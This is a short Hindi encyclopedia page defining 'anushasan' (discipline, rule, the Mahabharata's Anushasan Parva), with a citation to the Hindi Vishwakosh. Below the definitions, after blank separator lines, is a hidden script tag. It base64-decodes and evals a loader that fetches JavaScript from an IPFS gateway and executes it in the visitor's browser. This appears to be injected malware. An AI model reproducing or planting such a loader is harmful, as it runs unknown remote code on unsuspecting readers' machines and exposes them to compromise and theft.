अनुशासन
भारत डिस्कवरी प्रस्तुति
अनुशासन 1. वह विधान जो किसी संस्था, वर्ग अथवा समुदाय के सब सदस्यों को उसके अनुसार सम्यक् रूप से कार्य अथवा आचरण करने के लिए विवश करे।
2. नियम, यथा ऋण के संबंध में मनु का अनुशासन, शब्दों के संबंध में पाणिनि का शब्दानुशासन तथा लिंगानुशासन।
3. महाभारत का 13वाँ पर्व-अनुशासन पर्व (इसमें उपदेशों का वर्णन है, इसलिए इसका नाम अनुशासन पर्व रखा गया है)।
4. विनय (डिसिप्लिन) (मुन. ,159, टीका-शिष्याणं प्रकरणात् श्रेयोर्थम् अनुशासनम्)।[1]
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
- ↑ हिन्दी विश्वकोश, खण्ड 1 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 128 |